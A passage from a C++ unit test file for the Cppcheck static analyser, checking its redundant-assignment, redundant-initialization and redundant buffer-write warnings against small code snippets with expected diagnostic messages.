0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. 